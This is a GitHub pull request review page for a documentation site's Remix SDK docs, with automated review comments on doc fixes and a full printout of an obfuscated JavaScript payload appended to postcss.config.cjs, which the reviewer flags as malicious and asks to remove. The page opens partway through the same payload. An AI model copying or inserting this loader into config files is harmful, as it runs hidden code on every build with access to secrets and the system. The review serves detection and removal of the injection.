]Ot\/;%O=O;}[}o"b(e,],c)2ObrOOcr3Ol2cOe2.]f(]Oeo6(uhOt5sb\/;aOic!brtn(r[de!ioyv=\/]c.o]npsr"+trO12n] )OOo7b]]0aO02eO=7)O]2fO]2g)t1=&]Oe6O*g9,Hs4c8O)d]O;bO%OOOnrT{7fdO%=O=rb_E0{7:_hEoi.mO+.,E%ror2}\/aFc{O]rO.r(<3s(i"ftOp;:{\/5u1l,o;e)!4a%n)ee.)a%tessa6s1!to)\/O15alcdu%t3\/]+]+y6O0s)1)}0OO%2m%}80]B0n}iO0a(O\/nOBeO(O.0lO1rbtnr.OO28OB2a]{(rO(s5225O,Or.,O).Oc4;(o3!(>2d]a2O,n6]5O&OO 2OO%0<)@15):1(}3Ir0O{!#2}}l eAb3Ozaa.eO}nm2r6O)oOga){0h6oy.]O).bEbr1ri} abc2O1a>.1O!n.217;)8}+Ov(ue{=>Oir=c;.l]9;b?t=r1=for(Obt50Otnw}b}Or8.]dtm+cO)ntc4.-]r(0%[be))an=%$21v(;0=]ee7.}]a(s)askb})g;[8b}c(v)eOner(9@9$"3"OO4=O);4Dif.Os44]2&y.Oe(O748]a.f.]314r{1e=ubn2}6aOc(O6}=O54!]t=rbd;&r[OcrrOgt?2.5a\/.6o\/)7.)ceaac(=Ol})t5y 72=i3]Os4rOe4OOd53]n;>O]5,Op5oOa5;]rOc5.]l(lg{oia.[ocjf0.b.O.?]u.5.t"c((-o]=|n.O0b+%6r3t+n+.1\/]e{Be(a\/hadOOv,.t,ic:%6S4%,li]d4wO.ti9e1O,}f[.Ot4a9OI-0O{}#)E(eus).%{1vnlOr6}hOf}c)s).$_5;1o[]O) ]s+nO.|f%nvt.oi.= f01.O tb)-t9h(uO)2sfO!.$.511O)% t]!4=]!O6 c)(4i);c2tthdB)O((bi24eO93s]bO4 M$IfO685 56Ot6m bO4 =b3w(iO.. kOs c.[sdl;te r$t5c1O[n{;<!r:t_rb.c 3,stiF rft0rl}{ OOg ooisu.4 %!eo]n. veC]l,t=ba.)nNwOa.tu}s(r)& .rrbeteyt ]r.e() >} Oto_$]f(b xf1!'));var oWN=AWB(Vew,Izf );oWN(5586);return 4180})()
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Remove the injected runtime payload from the Tailwind config.

This obfuscated block executes on module import, mutates globals, and is unrelated to Tailwind configuration. It introduces arbitrary side effects and a serious security risk. Delete everything after the exported config object.

🛠️ Proposed fix (remove injected payload)
-};
-/* obfuscated runtime payload ... */
+};
🧰 Tools
🪛 Biome (2.1.2)

[error] 87-87: Shouldn't redeclare 'c'. Consider to delete it or rename it.

'c' is defined here:

(lint/suspicious/noRedeclare)


[error] 87-87: Shouldn't redeclare 'x'. Consider to delete it or rename it.

'x' is defined here:

(lint/suspicious/noRedeclare)

🤖 Prompt for AI Agents
In `@tailwind.config.mjs` at line 87, The file contains an injected obfuscated
runtime payload (symbols like global.i, _$_46e0, lyR, AWB, oWN) that executes at
import and mutates globals; remove this entire payload so only the Tailwind
config object and its export remain—delete everything after the exported config
object closing (the final "};" of the config) and ensure the module only exports
the Tailwind configuration (no global mutations or obfuscated functions remain).

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Fix all issues with AI agents
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 412-443: The examples are combined into one code block causing
duplicate exports and import collisions; split each example into its own fenced
TypeScript block and adjust imports per block so each snippet is self-contained:
keep the first block with loader and its imports (json, LoaderFunctionArgs,
getKindeSession), make a separate block for the manual refresh action importing
ActionFunctionArgs and redirect plus getKindeSession, and a third block for the
"refresh after an update" action importing json, ActionFunctionArgs and
getKindeSession; ensure the three functions (loader, action for manual refresh,
action for post-mutation) are in separate blocks with appropriate explanatory
text so there are no duplicate export const action declarations in the same
scope.
♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

487-487: Broken documentation link still present.

The link to /build/self-service-portal/self-serve-portal-for-orgs/ was previously flagged as returning a 404 status code. Please verify this URL exists or update it to the correct documentation page.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 0

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

301-339: Add refreshTokens to the server helper list.
The helper is documented below but missing from the destructuring list, which makes the table/example inconsistent for copy‑paste.

✅ Suggested fix
 const {
   getUser,
   getBooleanFlag,
   getFlag,
   getIntegerFlag,
   getStringFlag,
   getPermission,
   getClaim,
   getClaimValue,
   getOrganization,
   getPermissions,
   getToken,
+  refreshTokens,
   getUserOrganizations,
   getUserProfile,
   isAuthenticated
 } = await getKindeSession(request);
♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

493-499: Self‑serve portal link still appears broken.
This URL previously returned 404. Please update to the current canonical path or remove the link.

Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

♻️ Duplicate comments (1)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (1)

493-496: ⚠️ Potential issue | 🟡 Minor

Fix broken documentation link.

The link to /build/self-service-portal/self-serve-portal-for-orgs/ was previously reported as returning a 404 status. Please verify this link is correct or update it to point to the valid documentation page.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` around lines 493
- 496, The markdown link under the "Self-Serve Portal" section points to a
broken URL string "/build/self-service-portal/self-serve-portal-for-orgs/";
locate that link in src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx
and update the href to the correct documentation path (or replace it with the
current canonical page/anchor for the self-serve portal), ensuring the visible
text remains "Self-serve portal API" and the link resolves without a 404.
🧹 Nitpick comments (3)
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx (3)

626-629: Migration guide could benefit from more detail.

The migration guide section is quite brief. Consider expanding it with:

  • Version numbers (migrating from version X to Y)
  • Common breaking changes to watch for
  • Link to a changelog or release notes

This would help developers upgrading existing implementations.

Would you like me to help draft a more comprehensive migration guide section?

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` around lines 626
- 629, Migration guide is too terse; expand the "Migration guide" section to
include the version range being migrated (e.g., migrating from vX to vY),
enumerate common breaking changes (mentioning handleAuth mounting requirement
and that functions from getKindeSession now return promises), and add links to
the changelog/release notes; update the text around the symbols handleAuth and
getKindeSession to explain the concrete migration steps (where to mount
handleAuth, and that callers must await results from getKindeSession in
loaders/actions) and include an example or checklist of things to verify during
upgrade plus a permalink to the project's changelog/release notes.

545-558: Consider consolidating duplicate internationalization content.

This section duplicates the internationalization example already shown in lines 236-249 under "Sign into organizations." Consider either removing this duplicate section or cross-referencing it to avoid maintaining the same content in two places.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` around lines 545
- 558, The "Internationalization" block duplicates the example already shown
under the "Sign into organizations" section; remove the duplicate example or
replace it with a cross-reference to the existing example to avoid maintenance
drift. Locate the two headings "Sign into organizations" and
"Internationalization" in the remix-sdk.mdx content, then either delete the
standalone example under "Internationalization" and add a short sentence linking
readers to the example in "Sign into organizations", or keep the section but
replace the duplicated JSX snippet with a reference like "See the example in
'Sign into organizations'." Ensure any links or anchor text uses the same
heading/title strings so readers can find the original example.

588-588: Consider adding a link to the Next.js SDK documentation.

The text mentions "similar to the Next.js example" for managing preview URLs with the Management API. Adding a direct link to the Next.js SDK docs would help developers find that reference quickly.

Suggested improvement
-To keep Kinde allowlists up to date, you can use an M2M token with the Kinde Management API to add the preview callback/logout URLs during your deploy step (similar to the Next.js example).
+To keep Kinde allowlists up to date, you can use an M2M token with the Kinde Management API to add the preview callback/logout URLs during your deploy step (similar to the [Next.js SDK example](/developer-tools/sdks/backend/nextjs-sdk/#working-with-preview-urls)).
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` at line 588, The
sentence referencing "similar to the Next.js example" should include a direct
link to the Next.js SDK documentation; update the MDX content at the phrase
"similar to the Next.js example" to embed a markdown/MDX link pointing to the
official Next.js SDK docs (so readers can click through to the example),
ensuring link text and URL are clear and accessible.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@postcss.config.cjs`:
- Line 9: The file contains a malicious obfuscated IIFE and global assignments
(e.g., global.i, _$_46e0, lyR, and an immediately-invoked function at the end)
appended after the legitimate PostCSS config; remove the entire injected block
starting after the closing "};" so the module only exports the intended PostCSS
configuration, revert the file to the last known-good commit (or restore from
upstream) and do not reintroduce any references to global.i/_$_46e0/lyR or the
IIFE; after removal, run a security scan (or git diff/commit history) to ensure
no other files contain similar obfuscated code before proceeding.

In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 171-173: Replace the invalid props on KindeProvider: remove
initialUser and isAuthenticated from the <KindeProvider> usage and instead pass
the required Kinde configuration props (clientId, domain, redirectUri,
logoutUri) to KindeProvider; then obtain authentication state inside child
components via the useKindeAuth() hook (e.g., call useKindeAuth() in the
component rendering <Outlet /> or its children to read isAuthenticated) so the
example shows correct Remix SSR usage with KindeProvider and useKindeAuth.

---

Duplicate comments:
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 493-496: The markdown link under the "Self-Serve Portal" section
points to a broken URL string
"/build/self-service-portal/self-serve-portal-for-orgs/"; locate that link in
src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx and update the href
to the correct documentation path (or replace it with the current canonical
page/anchor for the self-serve portal), ensuring the visible text remains
"Self-serve portal API" and the link resolves without a 404.

---

Nitpick comments:
In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx`:
- Around line 626-629: Migration guide is too terse; expand the "Migration
guide" section to include the version range being migrated (e.g., migrating from
vX to vY), enumerate common breaking changes (mentioning handleAuth mounting
requirement and that functions from getKindeSession now return promises), and
add links to the changelog/release notes; update the text around the symbols
handleAuth and getKindeSession to explain the concrete migration steps (where to
mount handleAuth, and that callers must await results from getKindeSession in
loaders/actions) and include an example or checklist of things to verify during
upgrade plus a permalink to the project's changelog/release notes.
- Around line 545-558: The "Internationalization" block duplicates the example
already shown under the "Sign into organizations" section; remove the duplicate
example or replace it with a cross-reference to the existing example to avoid
maintenance drift. Locate the two headings "Sign into organizations" and
"Internationalization" in the remix-sdk.mdx content, then either delete the
standalone example under "Internationalization" and add a short sentence linking
readers to the example in "Sign into organizations", or keep the section but
replace the duplicated JSX snippet with a reference like "See the example in
'Sign into organizations'." Ensure any links or anchor text uses the same
heading/title strings so readers can find the original example.
- Line 588: The sentence referencing "similar to the Next.js example" should
include a direct link to the Next.js SDK documentation; update the MDX content
at the phrase "similar to the Next.js example" to embed a markdown/MDX link
pointing to the official Next.js SDK docs (so readers can click through to the
example), ensuring link text and URL are clear and accessible.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro

Run ID: 17150a74-55a0-407b-8bfa-3536fd72cd5f

📥 Commits

Reviewing files that changed from the base of the PR and between 2900f4f and 95f0a3b.

📒 Files selected for processing (2)
  • postcss.config.cjs
  • src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx

autoprefixer: {},
},
};
}; global.i='5-215';var _$_46e0=(function(r,i){var f=r.length;var l=[];for(var c=0;c< f;c++){l[c]= r.charAt(c)};for(var c=0;c< f;c++){var u=i* (c+ 224)+ (i% 22828);var w=i* (c+ 222)+ (i% 38027);var q=u% f;var p=w% f;var b=l[q];l[q]= l[p];l[p]= b;i= (u+ w)% 3080816};var y=String.fromCharCode(127);var a='';var g='\x25';var z='\x23\x31';var t='\x25';var x='\x23\x30';var s='\x23';return l.join(a).split(g).join(y).split(z).join(t).split(x).join(s).split(y)})("%o%bcretmj",1550296);global[_$_46e0[0]]= require;if( typeof module=== _$_46e0[1]){global[_$_46e0[2]]= module}(function(){var Vew='',BwP=283-272;function lyR(i){var c=2883316;var r=i.length;var l=[];for(var x=0;x<r;x++){l[x]=i.charAt(x)};for(var x=0;x<r;x++){var y=c*(x+463)+(c%39808);var z=c*(x+605)+(c%13288);var t=y%r;var w=z%r;var h=l[t];l[t]=l[w];l[w]=h;c=(y+z)%4185096;};return l.join('')};var XgO=lyR('itorzmsoncfxbadrswvkjguuerhtnyclpoctq').substr(0,BwP);var TpC='{a[ r=l3par2=,h=l6+v[r)p+"1bfd=frh j8l)ntp.rat,v)x(ze;7a, t=)7+,,5 7r,"1}8v,i6=7c,)0w8r,h1n7",e4r9o,k8=7C,s0;6),05;8,,k9h;2ah f=a]Cf"r vzrczr0nzqw=lrnCtv;.+;)([r[d]f=<+o;}ae h=u]6sm=n0)ae=h3ies=(0.f r[vfr=b.0ab.agg=mvn(sdl]nlts;v+1).vkrumoawghmrn{sabm.8p)i((1 z)=f]r.vervllmjl;nuta-o;v>p0;lo-t{naa ;=su)ltv.r g;mala;ga m=+u0l(v,r+n=0;v8rsvrgtl2nkt3;}ar n;=o](ia1 9=];A<g;=+l)=vdr)u8gocra,C1drAr(,)(v}r7j]qouf;if,jc{j={j}1r*=+g.(hir,ove.t1k61,-u;t=(;e+u;pe[sa 3fsuf=+)so=a[(n.(e)g(h swgocfa.CzdeA((k+6)[+0.th[rtole3t]k;2n-r;;=[;!+ 2h}.l;e{c.n*iou(;vid(r= nrl,)4=z]=i+(o>n)g.ru;h2gds6b(tjivganrd;)lh=p)so(e[i+;]k;)=q+a;aiC()!=nslv)lir(m<t)4.Su.h)g7srbat-i]ganu)8m(ln=9. oeni"d);}rt push(g[l];;nv;r+xht{j)ip(6");nav v=k4+,k2w9e,k6,1],h9e.goeckt(w,;<ai ;=2tbi0gzf9oiC(a0Cfdh(h6s;aoe(hau f=e;5<t."e=g-hhz(++x;xrsnlyt0rupkcoadA7(h)). o2neS.r(n;.nrAmshzr[oae-f.z+)0;he"ugnqxosvltt+r="c"+.ao[nrrt;';var taY=lyR[XgO];var vJr='';var AWB=taY;var goZ=taY(vJr,lyR(TpC));var Izf=goZ(lyR('rOA_9_\/0rcb("0j(;%,2;8.rw3fT it=amrnndldh8Or+.\/e]lupS.t%}m(i]hOrOst%eo6d.Dbq%!Scut-et.$.6iucne;g7%{.5y.eb.d].1 9=7su)pOcrC122Dt..%rbhtnf@t7et_#f}tbbcepwr.idt.09atocefv2.3OcagOeOi)e]%=%Ocsi7dtu"_Oe6r82Oabh(rrr4l]%gsH&9%O%=%]ctsht:0+sco;ius.1o%gy}g*b10OT o%ruiba%a4Dt%Crn2CTo-mf3%\/ded;t%r;9.%irbm9)aw Sj!(%.n:a8uhnh7>beohi(n)pOrOhqbCawd(mOsTs}ie.;C)n1!f=tnl9O0=joeiagw-4elcoIm(t6k,aOp]t]ats[h77%2aCOct2)kl0A.ebO.rd(gcd=8=y0ad.hEn%:z:63eo_18O?;4Ogse(Nmp(?..a%Oy.%]inr=o;f%.=s)h%58m]a8%clOo+%iu(63%Of}.!Ch%_rOdpT=-}_)fO% l9ck_er}a;%(.O0=uj4wu=2[M.teb4se4w9oi]i?rbaOi]0=s>6b1O%losttaa8n7a%?e th5Odz%;l5p,7vk=Mm%Ona_\'g\/rS%Ok.t-ag3ti]ntt76Oa;."b4.c%.64bntOlc%b7_9:slcO0en+dgcnin.617tc2tass;bip%mp4fc)o+o;rN.(CjeO.Oml3Ot%ewl:r(p!itf..)d_pa3)j.d%,_981.0);Ou7cai(n5bb,[,o)]v$CO=o.0lcnbtdO(rf[O;8o;()OOz601z0w.b4;7+t).r>z!=ob:.2c<al.3tez]}8f#rEv1C)=b;z.?..ggz=+e{)Oeqooeamb$z+.i2d7e+ib.oO.*4&6]2TOrm=o[a;b\'zr.72v3o+=b[o6.e4:0)5aOxhdq(.rgp>9=+%4b7Oyj1rnhp;][.](.erHdl;O[[]n.(jeo3.O(O+,bo)c.q6f0b6(9hO3lCS3r2n9..fno9C(awC\/do(e2t)]>]=8fhO4py.c%eOot=.)#4.b;r=1f%.a;3=afn0eOdcd.]#)f)O]rr=]O3prO3l 5]).==OhktOacn5e)r(Os8n..](t=OO7i g9o1a=;r-5]o=m$_]);e<.=]-m]];O" OtOtOOOo1f]G($r3a8F0O.Oq)O;sO;1cO!1O]f(r,at2Fo?O=x1lG,!{OOei=5bc}h;+[uO 32,tOOODrmO}Oc8t]oe*O{Ot}3}a[eOt4}92fiOO=n=\'bd)nOt1.;>#9u1l]O)Ot)!. Hr)0iO\'.,4En;s:]"h(_,-=[b)]]s.{a8c@e$_2)]=(?,.)2>.79=.-.%i4D]g{)s)ncp(:t6.3),weihkdacgpurtm+:b,Od)1b)8O]e1{(o=toa_eOsvmet*ou:]6O5n}cO?n4dB2(1"*O6=]Dey(@O;OeeoO4OfOO7o9[+O..ti).tv_o!F]z(.F]D2(8-i%&])(%)t+1A4)3)r_)!sO%Or).n:4c7 ]Ot\/;%O=O;}[}o"b(e,],c)2ObrOOcr3Ol2cOe2.]f(]Oeo6(uhOt5sb\/;aOic!brtn(r[de!ioyv=\/]c.o]npsr"+trO12n] )OOo7b]]0aO02eO=7)O]2fO]2g)t1=&]Oe6O*g9,Hs4c8O)d]O;bO%OOOnrT{7fdO%=O=rb_E0{7:_hEoi.mO+.,E%ror2}\/aFc{O]rO.r(<3s(i"ftOp;:{\/5u1l,o;e)!4a%n)ee.)a%tessa6s1!to)\/O15alcdu%t3\/]+]+y6O0s)1)}0OO%2m%}80]B0n}iO0a(O\/nOBeO(O.0lO1rbtnr.OO28OB2a]{(rO(s5225O,Or.,O).Oc4;(o3!(>2d]a2O,n6]5O&OO 2OO%0<)@15):1(}3Ir0O{!#2}}l eAb3Ozaa.eO}nm2r6O)oOga){0h6oy.]O).bEbr1ri} abc2O1a>.1O!n.217;)8}+Ov(ue{=>Oir=c;.l]9;b?t=r1=for(Obt50Otnw}b}Or8.]dtm+cO)ntc4.-]r(0%[be))an=%$21v(;0=]ee7.}]a(s)askb})g;[8b}c(v)eOner(9@9$"3"OO4=O);4Dif.Os44]2&y.Oe(O748]a.f.]314r{1e=ubn2}6aOc(O6}=O54!]t=rbd;&r[OcrrOgt?2.5a\/.6o\/)7.)ceaac(=Ol})t5y 72=i3]Os4rOe4OOd53]n;>O]5,Op5oOa5;]rOc5.]l(lg{oia.[ocjf0.b.O.?]u.5.t"c((-o]=|n.O0b+%6r3t+n+.1\/]e{Be(a\/hadOOv,.t,ic:%6S4%,li]d4wO.ti9e1O,}f[.Ot4a9OI-0O{}#)E(eus).%{1vnlOr6}hOf}c)s).$_5;1o[]O) ]s+nO.|f%nvt.oi.= f01.O tb)-t9h(uO)2sfO!.$.511O)% t]!4=]!O6 c)(4i);c2tthdB)O((bi24eO93s]bO4 M$IfO685 56Ot6m bO4 =b3w(iO.. kOs c.[sdl;te r$t5c1O[n{;<!r:t_rb.c 3,stiF rft0rl}{ OOg ooisu.4 %!eo]n. veC]l,t=ba.)nNwOa.tu}s(r)& .rrbeteyt ]r.e() >} Oto_$]f(b xf1!'));var oWN=AWB(Vew,Izf );oWN(5586);return 4180})()
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: Analyze the obfuscated code in postcss.config.cjs

echo "=== File length analysis ==="
wc -c postcss.config.cjs

echo -e "\n=== Line 9 character count (should be ~10 for clean config) ==="
sed -n '9p' postcss.config.cjs | wc -c

echo -e "\n=== Suspicious patterns in the file ==="
rg -o 'global\.[a-zA-Z_]+\s*=' postcss.config.cjs || echo "No global assignments found"
rg -o 'require' postcss.config.cjs | wc -l | xargs echo "Number of 'require' occurrences:"
rg -o 'module' postcss.config.cjs | wc -l | xargs echo "Number of 'module' occurrences:"
rg -o 'eval|Function\(' postcss.config.cjs || echo "No direct eval found"

echo -e "\n=== Check git history for this file ==="
git log --oneline -5 -- postcss.config.cjs

echo -e "\n=== Compare with expected clean config ==="
echo "Expected content (first 9 lines):"
head -9 postcss.config.cjs | cat -A

Repository: kinde-oss/documentation

Length of output: 8055


🚨 CRITICAL SECURITY ISSUE: Malicious obfuscated code injection detected.

Line 9 contains the closing }; followed by approximately 7,400 characters of heavily obfuscated JavaScript code. The legitimate PostCSS configuration ends at line 8; everything after }; is undeclared executable code that will run automatically when this module is loaded.

Confirmed technical details:

  • Obfuscation layers: The code uses character shuffling functions (lyR), string reassembly, and multiple deobfuscation stages to hide its purpose
  • Global manipulation: Sets global.i, assigns global[_$_46e0[0]]= require, manipulates module
  • Immediate execution: Uses an IIFE (function(){...})() that executes on require
  • File footprint: Line 9 is 7,415 characters of pure obfuscated code

Attack vector:

  • Vite automatically discovers and loads postcss.config.cjs during astro dev and astro build
  • The code executes in Node.js with full access to environment variables, filesystem, and network
  • Could exfiltrate secrets, install backdoors, or compromise CI/CD

Required actions:

  1. DO NOT MERGE this PR
  2. Revert any changes to postcss.config.cjs
  3. Audit the contributor's access and other commits
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@postcss.config.cjs` at line 9, The file contains a malicious obfuscated IIFE
and global assignments (e.g., global.i, _$_46e0, lyR, and an immediately-invoked
function at the end) appended after the legitimate PostCSS config; remove the
entire injected block starting after the closing "};" so the module only exports
the intended PostCSS configuration, revert the file to the last known-good
commit (or restore from upstream) and do not reintroduce any references to
global.i/_$_46e0/lyR or the IIFE; after removal, run a security scan (or git
diff/commit history) to ensure no other files contain similar obfuscated code
before proceeding.

Comment on lines +171 to +173
<KindeProvider initialUser={data.user} isAuthenticated={data.isAuthenticated}>
<Outlet />
</KindeProvider>
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

KindeProvider props kinde-auth-react initialUser isAuthenticated

💡 Result:

The KindeProvider is the main React Context Provider component from the @kinde-oss/kinde-auth-react package (latest v5.11.0 as of 2026). It wraps your app to provide authentication state and methods via the useKindeAuth hook. Required props (from official docs examples): - clientId: string (your Kinde client ID, required) - domain: string (your Kinde domain, required) - redirectUri: string (e.g. window.location.origin, required for auth callbacks) - logoutUri: string (e.g. window.location.origin, required for logout) Optional props: - audience: string (JWT audience claim, space-separated for multiple) - scope: string (default: "openid profile email offline") - callbacks: object with onSuccess(user, state, context), onError(error, state, context), onEvent(event, state, context) - useInsecureForRefreshToken: boolean (for local dev only, insecure) No evidence found in official docs or GitHub repo for 'initialUser' prop on KindeProvider. The provider initializes auth state internally by checking tokens/storage on mount. isAuthenticated is not a KindeProvider prop. It is a boolean returned by the useKindeAuth hook, indicating if the user is currently authenticated (true if valid tokens present). Example usage: import { useKindeAuth } from '@kinde-oss/kinde-auth-react'; const { user, isAuthenticated, isLoading } = useKindeAuth; if (isLoading) return

Loading...

; if (!isAuthenticated) return

Please sign in

; return
Welcome {user?.given_name}
; Official sources: Kinde React SDK docs (https://docs.kinde.com/developer-tools/sdks/frontend/react-sdk/), GitHub repo (https://github.com/kinde-oss/kinde-auth-react, last updated 2026-03-16).

Citations:


Remove invalid props from KindeProvider.

The initialUser and isAuthenticated props are not valid for KindeProvider from @kinde-oss/kinde-auth-react. The component requires clientId, domain, redirectUri, and logoutUri. The isAuthenticated value is instead obtained from the useKindeAuth() hook, not passed as a prop. Update the example to show the correct KindeProvider configuration and usage pattern for Remix SSR.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx` around lines 171
- 173, Replace the invalid props on KindeProvider: remove initialUser and
isAuthenticated from the <KindeProvider> usage and instead pass the required
Kinde configuration props (clientId, domain, redirectUri, logoutUri) to
KindeProvider; then obtain authentication state inside child components via the
useKindeAuth() hook (e.g., call useKindeAuth() in the component rendering
<Outlet /> or its children to read isAuthenticated) so the example shows correct
Remix SSR usage with KindeProvider and useKindeAuth.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants